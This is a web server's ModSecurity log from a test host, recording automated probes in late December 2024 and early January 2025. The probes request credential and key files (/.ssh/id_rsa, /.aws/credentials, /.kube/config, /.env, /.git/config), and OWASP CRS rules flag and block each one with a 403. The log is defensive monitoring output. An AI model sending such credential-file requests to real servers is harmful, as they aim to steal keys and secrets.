[Mon Dec 30 10:12:55.533772 2024] [:error] [pid 135573] [client 213.152.176.252:11275] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSgAAABQ&quot;]
[Mon Dec 30 10:12:55.535608 2024] [:error] [pid 137539] [client 213.152.176.252:51731] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;Z3JkFx1QxdulRJf95GGeAAAAAAE&quot;]
[Mon Dec 30 10:12:55.535697 2024] [:error] [pid 135560] [client 213.152.176.252:21845] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z3JkF1RHHf7r0I-OjMDOywAAAAc&quot;]
[Mon Dec 30 10:12:55.535846 2024] [:error] [pid 137539] [client 213.152.176.252:51731] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;Z3JkFx1QxdulRJf95GGeAAAAAAE&quot;]
[Mon Dec 30 10:12:55.536105 2024] [:error] [pid 137539] [client 213.152.176.252:51731] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;Z3JkFx1QxdulRJf95GGeAAAAAAE&quot;]
[Mon Dec 30 10:12:55.536104 2024] [:error] [pid 135560] [client 213.152.176.252:21845] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z3JkF1RHHf7r0I-OjMDOywAAAAc&quot;]
[Mon Dec 30 10:12:55.536370 2024] [:error] [pid 137539] [client 213.152.176.252:51731] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;Z3JkFx1QxdulRJf95GGeAAAAAAE&quot;]
[Mon Dec 30 10:12:55.536496 2024] [:error] [pid 135560] [client 213.152.176.252:21845] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z3JkF1RHHf7r0I-OjMDOywAAAAc&quot;]
[Mon Dec 30 10:12:55.537195 2024] [:error] [pid 135569] [client 213.152.176.252:2725] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;Z3JkF5zGejKJeqTP-gTpSwAAABA&quot;]
[Mon Dec 30 10:12:55.537435 2024] [:error] [pid 135569] [client 213.152.176.252:2725] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;Z3JkF5zGejKJeqTP-gTpSwAAABA&quot;]
[Mon Dec 30 16:47:51.352862 2024] [:error] [pid 135560] [client 45.148.10.86:50062] [client 45.148.10.86] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3LAp1RHHf7r0I-OjMDO2AAAAAc&quot;]
[Mon Dec 30 16:47:51.353702 2024] [:error] [pid 135560] [client 45.148.10.86:50062] [client 45.148.10.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3LAp1RHHf7r0I-OjMDO2AAAAAc&quot;]
[Mon Dec 30 16:47:51.354145 2024] [:error] [pid 135560] [client 45.148.10.86:50062] [client 45.148.10.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3LAp1RHHf7r0I-OjMDO2AAAAAc&quot;]
[Mon Dec 30 17:38:15.650791 2024] [:error] [pid 135569] [client 45.148.10.172:41080] [client 45.148.10.172] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3LMd5zGejKJeqTP-gTpWwAAABA&quot;]
[Mon Dec 30 17:38:15.651455 2024] [:error] [pid 135569] [client 45.148.10.172:41080] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3LMd5zGejKJeqTP-gTpWwAAABA&quot;]
[Mon Dec 30 17:38:15.652002 2024] [:error] [pid 135569] [client 45.148.10.172:41080] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3LMd5zGejKJeqTP-gTpWwAAABA&quot;]
[Tue Dec 31 00:36:27.515970 2024] [:error] [pid 154548] [client 207.32.217.247:35832] [client 207.32.217.247] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3Mue7yfj5sMhs9iWLV7xgAAAAE&quot;]
[Tue Dec 31 00:36:27.516617 2024] [:error] [pid 154548] [client 207.32.217.247:35832] [client 207.32.217.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3Mue7yfj5sMhs9iWLV7xgAAAAE&quot;]
[Tue Dec 31 00:36:27.517061 2024] [:error] [pid 154548] [client 207.32.217.247:35832] [client 207.32.217.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3Mue7yfj5sMhs9iWLV7xgAAAAE&quot;]
[Tue Dec 31 02:38:25.523156 2024] [:error] [pid 154526] [client 45.148.10.172:53206] [client 45.148.10.172] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3NLEa8w4Q567WJFeGTQewAAAAs&quot;]
[Tue Dec 31 02:38:25.524023 2024] [:error] [pid 154526] [client 45.148.10.172:53206] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3NLEa8w4Q567WJFeGTQewAAAAs&quot;]
[Tue Dec 31 02:38:25.524400 2024] [:error] [pid 154526] [client 45.148.10.172:53206] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3NLEa8w4Q567WJFeGTQewAAAAs&quot;]
[Tue Dec 31 10:58:38.498494 2024] [:error] [pid 158616] [client 154.216.16.113:64039] [client 154.216.16.113] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3PAThL_0vHf-LQpHA-qCAAAABA&quot;]
[Tue Dec 31 10:58:38.499364 2024] [:error] [pid 158616] [client 154.216.16.113:64039] [client 154.216.16.113] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3PAThL_0vHf-LQpHA-qCAAAABA&quot;]
[Tue Dec 31 10:58:38.499879 2024] [:error] [pid 158616] [client 154.216.16.113:64039] [client 154.216.16.113] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3PAThL_0vHf-LQpHA-qCAAAABA&quot;]
[Tue Dec 31 15:37:02.336439 2024] [:error] [pid 158613] [client 45.148.10.86:44130] [client 45.148.10.86] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3QBjl-BYu55Murgp4-7LQAAAAs&quot;]
[Tue Dec 31 15:37:02.337252 2024] [:error] [pid 158613] [client 45.148.10.86:44130] [client 45.148.10.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3QBjl-BYu55Murgp4-7LQAAAAs&quot;]
[Tue Dec 31 15:37:02.337714 2024] [:error] [pid 158613] [client 45.148.10.86:44130] [client 45.148.10.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3QBjl-BYu55Murgp4-7LQAAAAs&quot;]
[Tue Dec 31 21:18:04.025000 2024] [:error] [pid 158586] [client 93.123.109.193:45646] [client 93.123.109.193] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3RRfOsnglL_Enj0wUUJvwAAACg&quot;]
[Tue Dec 31 21:18:04.025289 2024] [:error] [pid 158586] [client 93.123.109.193:45646] [client 93.123.109.193] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3RRfOsnglL_Enj0wUUJvwAAACg&quot;]
[Tue Dec 31 21:18:04.025467 2024] [:error] [pid 158586] [client 93.123.109.193:45646] [client 93.123.109.193] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3RRfOsnglL_Enj0wUUJvwAAACg&quot;]
[Thu Jan 02 18:56:19.875329 2025] [:error] [pid 202488] [client 13.203.154.127:46688] [client 13.203.154.127] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3bTQyFP2_vrs-S7rXrTygAAAA0&quot;]
[Thu Jan 02 18:56:19.877711 2025] [:error] [pid 202488] [client 13.203.154.127:46688] [client 13.203.154.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3bTQyFP2_vrs-S7rXrTygAAAA0&quot;]
